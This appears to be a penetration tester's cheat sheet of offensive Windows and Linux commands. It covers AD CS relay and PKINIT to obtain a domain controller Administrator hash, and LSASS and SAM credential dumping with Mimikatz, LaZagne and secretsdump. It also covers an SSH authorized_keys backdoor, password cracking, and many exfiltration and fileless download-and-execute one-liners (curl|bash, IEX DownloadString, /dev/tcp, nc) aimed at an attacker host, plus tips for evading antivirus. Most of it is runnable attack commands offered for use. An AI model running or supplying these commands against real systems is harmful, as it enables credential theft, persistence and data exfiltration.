# https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
# NOTE: use https://github.com/ly4k/Certipy to find other templates
python3 -m venv venv
pip install git+https://github.com/fortra/impacket.git
hash -r
venv/bin/ntlmrelayx.py --adcs -smb2support --template KerberosAuthentication -t <WEB_ENROLL_SERVER>
# outputs *.pfx file

# Force arbitrary auth from <TARGET> to <ATTACKER> via printers
# e.g. DC => ATTACKER BOX
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
wget https://github.com/dirkjanm/krbrelayx/raw/refs/heads/master/printerbug.py
python3 printerbug.py <DOMAIN>/<USERNAME>:"<PASSWORD>"@<TARGET> <ATTACKER>

# PtC to get TGT
# https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py
git clone https://github.com/dirkjanm/PKINITtools.git ; cd PKINITtools ; python3 -m venv .venv ; source .venv/bin/activate ; pip3 install -r requirements.txt ; pip3 install -I git+https://github.com/wbond/oscrypto.git

# OPTIONAL: -pfx-pass from pywhisker.py
python3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC_IP> '<DOMAIN>/<USER>' <OUTPUT_TGT>
# gives <OUTPUT_TGT>

---

# Configure Kerberos
echo '<DC_IP> <DC_FQDN>' | sudo tee -a /etc/hosts
sudo cp -v /etc/krb5.conf /etc/krb5.conf.bak
echo '[libdefaults]
    default_realm = <DOMAIN>
    dns_lookup_kdc = false
[realms]
    <DOMAIN> = {
        kdc = <DC_FQDN>
    }
[domain_realm]
    .<DOMAIN_LOWER> = <DOMAIN_UPPER>
    <DOMAIN_LOWER> = <DOMAIN_UPPER>
' | sudo tee /etc/krb5.conf

export KRB5CCNAME=<OUTPUT_TGT>
klist
# Get NTLM hash of DC Administrator
impacket-secretsdump -k -no-pass -dc-ip <DC_IP> -just-dc-user Administrator '<DOMAIN>/<DC_HOSTNAME>$'@<TARGET_FQDN>
# gives HASH

evil-winrm ... -H <HASH>

Authentication - Linux

Reference:

See more about… 1. Core Architecture: PAM

Source: Docs > 9 - Notes > Authentication Process - Linux#1-core-architecture-pam

1. Core Architecture: PAM

Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.

  • Key Module: pam_unix.so (Standard Unix auth).
  • Location: /usr/lib/x86_64-linux-gnu/security/
  • Function: Bridges the gap between user input (e.g., passwd command) and flat files (/etc/passwd, /etc/shadow).

Credentials Harvesting

# LINUX: Find Potentially Useful Files
for ext in $(echo ".xls .xls* .xltx .od* .doc .doc* .pdf .pot .pot* .pp*") ; do echo -e "\nFile extension: " $ext ; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ; done

# Text files
find /home/* -type f -name "*.txt" -o ! -name "*.*"

# Crontab
cat /etc/crontab
ls -la /etc/cron.*/

# Maybe creds in /home/*/
find /home/ -type f \( -name '.*rc' -o -name '.*history' -o -name 'config.fish' -o -name '.*login' \)
# Browser creds
ls -l .mozilla/firefox/ | grep default
wget https://github.com/unode/firefox_decrypt/raw/refs/heads/main/firefox_decrypt.py
python3 firefox_decrypt.py

# Logs
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

# Config
for ext in .conf .config .cnf; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "lib|fonts|share|core"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; done

# Pass in configs
for i in $(find / -name "*.cnf" 2>/dev/null | grep -vE "doc|lib"); do out=$(grep -E "user|password|pass" "$i" 2>/dev/null | grep -v "#"); [ -n "$out" ] && echo -e "\nFile: $i" && echo "$out"; done

# Database
for ext in .sql .db ".*db" ".db*"; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share|man"); [ -n "$out" ] && echo -e "\nDB File extension: $ext" && echo "$out"; done

# Code
for ext in .py .pyc .pl .go .jar .c .sh; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; done

Authentication - Windows

Reference:

See more about… Authentication Process - Windows

Source: Docs > 9 - Notes > Authentication Process - Windows

Authentication Process - Windows Authentication Process - Windows

1. Key Processes & Architecture

WinLogon (WinLogon.exe)

  • Role: The “orchestrator.” Intercepts keyboard input (Ctrl+Alt+Del), manages the workstation lock status, and handles password changes.
  • Workflow: Launches LogonUI -> Collects Creds -> Sends to LSASS.
  • Legacy Note (GINA): In older Windows (NT/XP), msgina.dll handled this. Replaced by Credential Providers in modern Windows.

LogonUI (LogonUI.exe)

  • Role: The graphical user interface that asks for the password.
  • Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).

LSASS (%SystemRoot%\System32\Lsass.exe)

  • Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
  • Resources: Microsoft: LSA Architecture

2. Authentication DLLs (The Packages)

These modules live inside LSASS to handle specific tasks.

DLL NameFunction / Description
Lsasrv.dllThe Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dllLocal / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dllDomain. Handles Kerberos ticket requests and validation.
Samsrv.dllSAM Interface. Talks to the local SAM database.
Netlogon.dllNetwork. Handles the secure channel for network logons.
Ntdsa.dllAD Interface. Used to create/manage records in the Registry or AD.

3. Credential Storage Locations

Local Users (SAM)

  • File Path: %SystemRoot%\system32\config\SAM
  • Registry Mount: HKLM\SAM
  • Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
  • Content: Local user NTLM/LM hashes.
Registry HiveDescription
HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.

Domain Users (NTDS)

  • File Path: %SystemRoot%\ntds.dit
  • Location: Found only on Domain Controllers.
  • Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
  • Sync: Replicates to all DCs (except Read-Only DCs).

Credential Manager (The Vault)

  • Role: Stores saved passwords for RDP, Websites, and Network Shares.
  • Policy.vpol in File Path:
  • %UserProfile%\AppData\Local\Microsoft\Vault\
  • %UserProfile%\AppData\Local\Microsoft\Credentials\
  • %UserProfile%\AppData\Roaming\Microsoft\Vault\
  • %ProgramData%\Microsoft\Vault\
  • %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\

Windows Credential Manager Windows Credential Manager

LSASS

# Remotely dump LSA secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa
# Remotely dump SAM secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --sam

Get LSASS memory dump:

  1. Open Task Manager
  2. Select Details > lsass.exe
  3. Right-Click > “Create Dump File”
  4. Move or transfer the file (usually in %TMP%)

# Get LSASS PID
tasklist /fi "IMAGENAME eq lsass.exe"
Get-Process lsass

# Dump
powershell -command "rundll32.exe C:\windows\system32\comsvcs.dll,MiniDump <PID> $env:TMP\crash.dmp full"

# Parse creds/hashes from dump
pypykatz lsa minidump <DUMP_FILE>

Credential Manager

# Backup Stored Creds
rundll32 keymgr.dll,KRShowKeyMgr

---

# List stored creds
cmdkey /list

# Impersonate
runas /savecred /user:<DOMAIN>\<USER> cmd.exe
runas /savecred /user:<DOMAIN>\<USER> powershell.exe

# Run as Other User
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
runas /netonly /user:<DOMAIN>\<USER> powershell.exe

---

\\tsclient\share\mimikatz.exe
privilege::debug
sekurlsa::credman

Creds Harvesting

# https://github.com/AlessandroZ/LaZagne
wget -q https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.7/LaZagne.exe -O lazagne.exe

# MODULES: browsers, sysadmin, memory, windows, chats, mails, wifi
.\lazagne.exe all -oA -output creds

---

# WINDOWS: Search for plaintext creds in files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.git *.ps1 *.yml *.xml

Secrets Dumping (SAM)

# ATTACKER: create SMB share

# TARGET: save creds hives
reg.exe save HKLM\SAM "%APPDATA%\sam.save"
reg.exe save hklm\SYSTEM "%APPDATA%\system.save"
reg.exe save hklm\SECURITY "%APPDATA%\security.save"

cd %APPDATA%
move *.save \\<ATTACKER_IP\<SHARE>\

# ATTACKER: extract local NT hashes
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# 1000 is for NT hashes
hashcat -m 1000 <HASHES> <WORDLIST>
# 2100 is for PBKDF2 (DCC2 hashes for domain)
hashcat -m 2100 <HASHES> <WORDLIST>

# DPAPI creds
mimikatz.exe
dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Hash Defaults of LM or NTLM

Hash ValueTypeMeaning / Context
aad3b435b51404eeaad3b435b51404eeLMEmpty / Disabled. LM is disabled on modern Windows, so this is the placeholder you will see for every user. Ignore it.
31d6cfe0d16ae931b73c59d7e0c089c0NTEmpty String. The user has no password. Common for Guest or Administrator if not enabled/set.

Backdoor Access

via SSH

# ATTACKER
ssh-keygen -f ./target_backdoor_key -N "" -C "service@localhost" && echo "\n\necho '$(cat ./target_backdoor_key.pub)' >> ~/.ssh/authorized_keys\n\n"

# TARGET: !!! RUN COMMAND OUTPUT ABOVE !!!

# ATTACKER
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i ./target_backdoor_key <USER>@<TARGET>

Common Location Paths

๐Ÿง Linux

LocationDescriptionExample
$HOME or ~User’s home directory/home/username
$TMPDIR or $TMPTemporary files directory/tmp
$XDG_CONFIG_HOMEUser’s configuration directory/home/username/.config
$XDG_DATA_HOMEUser’s data directory/home/username/.local/share
$XDG_CACHE_HOMEUser’s cache directory/home/username/.cache
$XDG_RUNTIME_DIRUser’s runtime directory/run/user/1000
/rootRoot user’s home directory/root
/etcSystem configuration directory/etc
/varVariable data directory/var
/usrUser programs and data directory/usr
/optOptional software packages directory/opt
/bootBoot loader files directory/boot
/procProcess and system information directory/proc
/sysSystem and device information directory/sys
/devDevice files directory/dev
/mntMount points for filesystems/mnt
/mediaRemovable media mount points/media
/srvService-specific data directory/srv
/runRuntime variable data directory/run

๐ŸชŸ Windows

LocationDescriptionExample
%windir%Windows installation directoryC:\Windows
%SystemRoot%Alias for %windir%C:\Windows
%ProgramFiles%Default directory for 64-bit programsC:\Program Files
%ProgramFiles(x86)%Default directory for 32-bit programs on 64-bit systemsC:\Program Files (x86)
%CommonProgramFiles%Default directory for 64-bit common filesC:\Program Files\Common Files
%CommonProgramFiles(x86)%Default directory for 32-bit common files on 64-bit systemsC:\Program Files (x86)\Common Files
%SystemDrive%Drive letter of the system partitionC:
%USERPROFILE%Path to the current user’s profile directoryC:\Users\username
%APPDATA%User’s roaming application data directoryC:\Users\username\AppData\Roaming
%LOCALAPPDATA%User’s local application data directoryC:\Users\username\AppData\Local
%TEMP% or %TMP%User’s temporary files directoryC:\Users\username\AppData\Local\Temp
%HOMEDRIVE%Drive letter of the user’s home directoryC:
%HOMEPATH%Path to the user’s home directory\Users\username
%PATH%Semicolon-separated list of executable search pathsC:\Windows;C:\Windows\System32
%PATHEXT%Semicolon-separated list of executable file extensions.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
%PUBLIC%Path to the public user directoryC:\Users\Public
%USERNAME%The name of the current userusername
%COMPUTERNAME%The name of the computerDESKTOP-XXXXXX

Cracking Passwords

# Give JtR and hashcat --format code
hashid -jm '<HASH>'

# Create wordlist from website
# e.g. make all words lowercase, spider down the website X, and choose only word certain legth Y or more
cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH>  -w <WORDLIST_FILENAME>

Username Generation

# GOOGLE DORK: Find emails and user name scheme
site:<DOMAIN> "@<DOMAIN>"

# Generate different common permutations of usernames
git clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy -i <USERNAMES>

in Files

# Find all JtR Utilities
sudo updatedb && locate '*2john' | grep -v 'pycache'

# Zip
zip2john <ZIP_FILE> > hash_zip.txt

# RAR
rar2john <RAR_FILE> > hash_rar.txt

# Office docs
office2john <OFFICE_FILE> > hash_office.txt

# PDF
pdf2john <PDF_FILE> > hash_pdf.txt

# Bitlocker
bitlocker2john -i <VHD_FILE> > pre_hash_vhd.txt
grep "bitlocker\$0" pre_hash_vhd.txt > hash_crackme_vhd.txt
hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST>

# Mount w/ Bitlocker
sudo apt install -y dislocker
sudo mkdir -p /media/{bitlocker,bitlockermount}
sudo losetup -f -P Backup.vhd
ls -la /dev/loop*
sudo dislocker /dev/<LOOP_DEV> -u<PASSWORD> -- /media/bitlocker
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

# SSH: find Private Keys
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null
# See if private key is password protected
ssh-keygen -yf <PRIVKEY>
# Get hash of key
ssh2john <PRIVKEY> > ssh.hash

# OpenSSL
while read p; do
    openssl enc -aes-256-cbc -d -in <ENC_FILE> -k "$p" 2>/dev/null | tar xz 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "Success! Password is: $p"
        break
    fi
done < <WORDLIST>

Common Hash Values

Hash ValueTypeMeaning
d41d8cd98f00b204e9800998ecf8427eMD5Empty String (0 byte input)
da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1Empty String (0 byte input)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256Empty String (0 byte input)

Create Custom Permutated Wordlist

# Manually generate keywords or use cewl via OSINT
cat << EOF > keywords.txt
<KEYWORDS>
EOF

# c - Capitalize the first character, lowercase the rest
# C - Lowercase the first character, uppercase the rest
# t - Toggle the case of all characters in a word
# $! - Appends the character ! to the end 
# $1$9$9$8 - Appends '1998' to the end
# $1$9$9$8$! - Appends '1998!' to the end
# sa@ - Replace all instances of a with @
# so0 - Replace all instances of o with 0
# ss$ - Replace all instances of s with $
cat << EOF > custom.rule
c
C
t                                                                \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt  --stdout | sort -u > wordlist.txt

# Crack hash
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

๐Ÿ”จ John the Ripper

# John attempts to guess the hash type, but specifiying the FORMAT is recommended
john --list=formats

# john --format=NT
# john --format=raw-md5
# john --format=sha512crypt
john --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE>

# Single crack mode: makes permutations given a username
unshadow passwd.txt shadow.txt > unshadowed.txt
john --single <UNSHADOW_FILE>

# Dynamically generated wordlist using Markov chains
john --incremental <HASH_FILE>

๐Ÿ”จ Hashcat

Rule Comparison Table

Rule FileRule CountUse Case
best64.rule64First Run. Instant results for easy passwords.
d3ad0ne.rule~34,000Deep Crack. Good for standard “complex” user passwords.
dive.rule~100,000+Paranoid. extremely slow; last resort for dictionary attacks.
# Crack an MD5crypt hash with a salt using Hashcat
hashcat -m 20 <HASH>:<SALT> <WORDLIST>

# Crack a SHA512crypt hash using Hashcat
hashcat -m 1800 hashes.txt <WORDLIST>
# 64 standard password modifications like: appending nums or substituting characters with their "leet" equivalents 
hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>

Mask attack (-a 3) with Charsets

SymbolDescriptionCharset / Definition
?lLowercaseabcdefghijklmnopqrstuvwxyz
?uUppercaseABCDEFGHIJKLMNOPQRSTUVWXYZ
?dDigits0123456789
?hHex (Lower)0123456789abcdef
?HHex (Upper)0123456789ABCDEF
?sSpecialยซspaceยป!"#$%&’()*+,-./:;<=>?@[]^_{`
?aAll?l?u?d?s
?bBinary0x00 - 0xff
hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'

File Transfer

Encryption (for exfiltration)

### === via PowerShell  ===
# https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1
Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption -Mode Encrypt -Key "<PASSWORD>" -Path <FILE>

### === via OpenSSL
# https://docs.openssl.org/1.1.1/man1/enc/
# Encrypt
openssl enc -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE>
# Decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE>

### === via WinRAR ===
sudo apt install -y rar
# OR
wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
tar -xzvf rarlinux-x64-612.tar.gz && cd rar && sudo make install

# Double Encrypt
rar a stage1.rar -p <FILENAME>
mv stage1.rar stage1
rar a stage2.rar -p stage1
mv stage2.rar stage2

โฌ‡๏ธ Linux <= Download

### === WEB ===

# Download (FILE)
wget -O <OUTPUT_FILE> <URL>
curl -skLo <OUTPUT_FILE> <URL>

# Download & Execute (FILELESS)
wget -qO- <URL> | python3
curl <URL> | bash

# Create socket
# Bash v2.04+ (compiled w/ --enable-net-redirections
exec 3<>/dev/tcp/<TARGET>/<PORT>
# Send data and read data from socket
echo -e "GET / HTTP/1.1\n\n">&3 ; cat <&3

# Python (FILE)
python2.7 -c 'import urllib;urllib.urlretrieve ("<URL>", "<OUTPUT_FILE>")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL>", "<OUTPUT_FILE>")'

# PHP (FILE)
php -r '$file = file_get_contents("<URL>"); file_put_contents("<OUTPUT_FILE>",$file);'
php -r 'const BUFFER = 1024; $fremote = 
fopen("<URL>", "rb"); $flocal = fopen("<OUTPUT_FILE>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# PHP (FILELESS)
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

# Ruby
ruby -e 'require "net/http"; File.write("<OUTPUT_FILE>", Net::HTTP.get(URI.parse("<URL>")))'

# Perl
perl -e 'use LWP::Simple; getstore("<URL>", "<OUTPUT_FILE>");'

# --- WEB Encrypted ---

openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout key.pem
# Host file for download
openssl s_server -quiet -accept <LISTEN_PORT> -cert server.pem -key key.pem < <UPLOAD_FILE>
# Download file
openssl s_client -quiet -connect <TARGET>:<PORT> > <DOWNLOAD_FILE>

### === SSH ===

# ATTACKER BOX: create dummy low priv user
sudo systemctl enable --now ssh
sudo useradd backup -m -d /home/backup -s /usr/sbin/nologin
sudo bash -c 'echo "backup:987!BackupUser!123" | chpasswd'

# TARGET
scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <OUTPUT_FILE>

### === BINARY ===

# to/receive file
nc -lvnp <PORT> > <OUTPUT_FILE>
ncat --recv-only -lp <PORT> > <OUTPUT_FILE>

# from/send file
nc -q0 <TARGET> <PORT> < <UPLOAD_FILE>
ncat --send-only <TARGET> <PORT> < <UPLOAD_FILE>
cat <UPLOAD_FILE> > /dev/tcp/<TARGET>/<PORT>

### === COPY&PASTA ===

# ATTACKER BOX: ENCODE
f="<FILE>" ; cat "$f" | base64 -w0 ; echo ; md5sum "$f"

# TARGET: DECODE
echo -n "<BASE64>" | base64 -d > <DECODED_FILE> ; md5sum <DECODED_FILE>

โฌ†๏ธ Linux => Upload

### === WEB ===

# --- Python3 uploadserver ---

pip3 install --break-system-packages uploadserver

# ATTACKER BOX
openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout server.pem
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

# TARGET
curl --insecure -X POST https://<ATTACKER_IP>/upload -F 'files=@<UPLOAD_FILE>' -F 'files=@<UPLOAD_FILE>'
python3 -c 'import requests;requests.post("https://<ATTACKER_IP>/upload",files={"files":open("<UPLOAD_FILE>","rb")}, verify=False)'

# --- ngninx ---

sudo mkdir -p /var/www/uploads/<UP_DIR>
sudo chown -R www-data:www-data /var/www/uploads/<UP_DIR>
echo 'server {
    listen <LISTEN_PORT>;
    location /<UP_DIR>/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}' | sudo tee /etc/nginx/sites-available/upload.conf
sudo ln -fs /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
# Needed to stop listening on port 80
sudo rm /etc/nginx/sites-enabled/default
sudo systemctl start nginx.service

# Upload file
curl --upload-file <UPLOAD_FILE> http://<TARGET>:<LISTEN_PORT>/<UP_DIR>/<UPLOAD_FILE> 

### === SERVER on TARGET ===

# TARGET
python3 -m http.server <PORT>
python2.7 -m SimpleHTTPServer <PORT>
php -S 0.0.0.0:<PORT>
ruby -run -e httpd . -p <PORT>

# ATTACKER BOX
wget http://<TARGET>:<PORT>

### === SSH ===

# ATTACKER BOX
scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <TARGET_LOCATION>

### === BINARY ===

# to/receive file
nc -lvnp <PORT> > <OUTPUT_FILE>
ncat --recv-only -lp <PORT> > <OUTPUT_FILE>

# from/send file
nc -q0 <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE>
ncat --send-only <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE>
cat <DOWNLOAD_FILE> > /dev/tcp/<ATTACKER_IP>/<PORT>

โฌ†๏ธ Windows => Upload

### === WEB ===

# --- UPLOAD Server ---

pip3 install --break-system-packages uploadserver

python3 -m uploadserver

# https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1
Invoke-RestMethod -Uri http://<ATTACKER_IP>:8000/upload -Method POST -Form (New-Object -TypeName System.Collections.Hashtable -Property @{file = Get-Item <UPLOAD_FILE>})

# --- UPLOAD Server ---

# b64 decode from here
nc -lvnp <PORT>

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Method POST -Uri http://<ATTACKER_IP>:<PORT>/ -Body $b64

### === SMB ===
# https://github.com/fortra/impacket/blob/master/examples/smbserver.py
impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH>

### === WEBDAV (HTTP) ===
# https://github.com/mar10/wsgidav

sudo pip3 install --break-system-packages wsgidav cheroot

sudo wsgidav --host=0.0.0.0 --port=<PORT> --root=<DIRECTORY> --auth=anonymous

# UPLOAD
Invoke-RestMethod -Uri "http://<ATTACKER_IP>/<SHARE_NAME>/<FILENAME>" -Method POST -Form @{file = Get-Item "<LOCAL_FILE_PATH>"}

### === FTP ===

sudo pip3 install --break-system-packages pyftpdlib

sudo python3 -m pyftpdlib --write --port <SERVER_PORT>

(New-Object Net.WebClient).UploadFile('ftp://<ATTACKER_IP>/<SAVENAME>', '<UPLOAD_FILE>')

# Upload (NON-INTERACTIVELY)
echo open <ATTACKER_IP> > ftpconfig.txt
echo USER anonymous >> ftpconfig.txt
echo binary >> ftpconfig.txt
echo PUT <FILE> >> ftpconfig.txt
echo bye >> ftpconfig.txt

ftp -v -n -s:ftpconfig.txt

### === WinRM ===
# TCP/5985 or 5986
# Windows Remote Management service
# user in "Administrators" or "Remote Management Users"

$Session = New-PSSession -ComputerName <TARGET>
Copy-Item -ToSession $Session -Path <UPLOAD_FILE> -Destination <OUTPUT_FILE>

### === COPY&PASTA ===

# ENCODE: Windows
$f="<UPLOAD_FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash

# DECODE: Linux
echo -n "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decode

โฌ‡๏ธ Windows <= Download

### === WEB ===

# HTTP port 80
sudo python3 -m http.server 80

# HTTPS port 443
openssl req -new -x509 -keyout https_server_cert.pem -out https_server_cert.pem -days 365 -nodes

sudo python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='https_server_cert.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

# Download (FILE)
(New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>')

(New-Object Net.WebClient).DownloadFileAsync('<DOWNLOAD_URL>','<OUTPUT_FILE>')

# Set User-Agent string
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
# Web Request
Invoke-WebRequest <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>'
Invoke-RestMethod <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>'

# Allow untrusted certs and initialize first-time IE
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-WebRequest -UseBasicParsing <DOWNLOAD_URL> -OutFile <OUTPUT_FILE>

# Download & Execute (FILELESS)
IEX (New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>')

(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>') | IEX

# https://lolbas-project.github.io/lolbas/Binaries/Certutil/#download
certutil -URLcache -split -f http://<ATTACKER>/<FILE> C:\Users\<USER>\AppData\Local\Temp\<FILE>
# https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/#download
bitsadmin.exe /transfer /Download /priority Foreground http://<ATTACKER>/<FILE> C:\Users\<USER>\AppData\Local\Temp\<FILE>

# JavaScript wget.js
# https://superuser.com/a/536400
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# Execute like so:
cscript.exe /nologo wget.js <URL> <OUTPUT_FILE>

# VBScript wget.vbs
# https://stackoverflow.com/a/2973344
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
# Execute like so:
cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILE>

### === SMB ===
# https://github.com/fortra/impacket/blob/master/examples/smbserver.py
impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH>

# WITHOUT password
copy \\<ATTACKER_IP\<SHARE_NAME>\<FILE>
# WITH password
net use <DRIVE_LETTER> \\<ATTACKER_IP\<SHARE_NAME>\ /user:<USER> <PASSWORD>
copy <DRIVE_LETTER>\<FILE>
# https://lolbas-project.github.io/lolbas/Binaries/Findstr/#download
findstr /V thisstringdoesnotexist \\<ATTACKER>\<SHARE>\<FILE> > C:\Users\<USER>\AppData\Local\Temp\<FILE>

### === FTP ===
sudo pip3 install --break-system-packages pyftpdlib

sudo python3 -m pyftpdlib --port <SERVER_PORT>

# Download (FILE)
(New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>')

# Download (NON-INTERACTIVELY)
echo open <ATTACKER_IP> > ftpconfig.txt
echo USER anonymous >> ftpconfig.txt
echo binary >> ftpconfig.txt
echo GET <FILE> >> ftpconfig.txt
echo bye >> ftpconfig.txt

ftp -v -n -s:ftpconfig.txt

### === WinRM ===
# TCP/5985 or 5986
# Windows Remote Management service
# user in "Administrators" or "Remote Management Users"

$Session = New-PSSession -ComputerName <TARGET>
Copy-Item -FromSession $Session -Path <DOWNLOAD_FILE> -Destination <OUTPUT_FILE>

### === COPY&PASTA ===

# ENCODE: Windows
$f="<FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash
# https://lolbas-project.github.io/lolbas/Binaries/Certutil/#encode
certutil -encode <FILE> <ENCODED_FILE>

# DECODE: Linux
echo "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decode

Mimikatz

See more about… Mimikatz

Source: Docs > 9 - Notes > mimikatz

Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

Important Notes

  • Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
  • Administrator Required: Mimikatz typically needs administrator privileges to function
  • LSASS Access: Many operations read from LSASS memory, which is protected by Windows
  • Detection: Mimikatz is heavily flagged by security products and EDR solutions
  • Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
  • Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
  • Ticket Files: Exported Kerberos tickets use .kirbi format
  • Domain Syntax: Use “.” for domain when targeting local machine accounts

Basic Usage & Privilege Escalation

# Launch Mimikatz (via SMB share)
\\tsclient\share\mimikatz.exe

# Enable debug privilege (required for most operations)
privilege::debug

# Elevate token to SYSTEM
token::elevate

# Write to console in bae64 (avoid AV flagging)
base64 /out:true

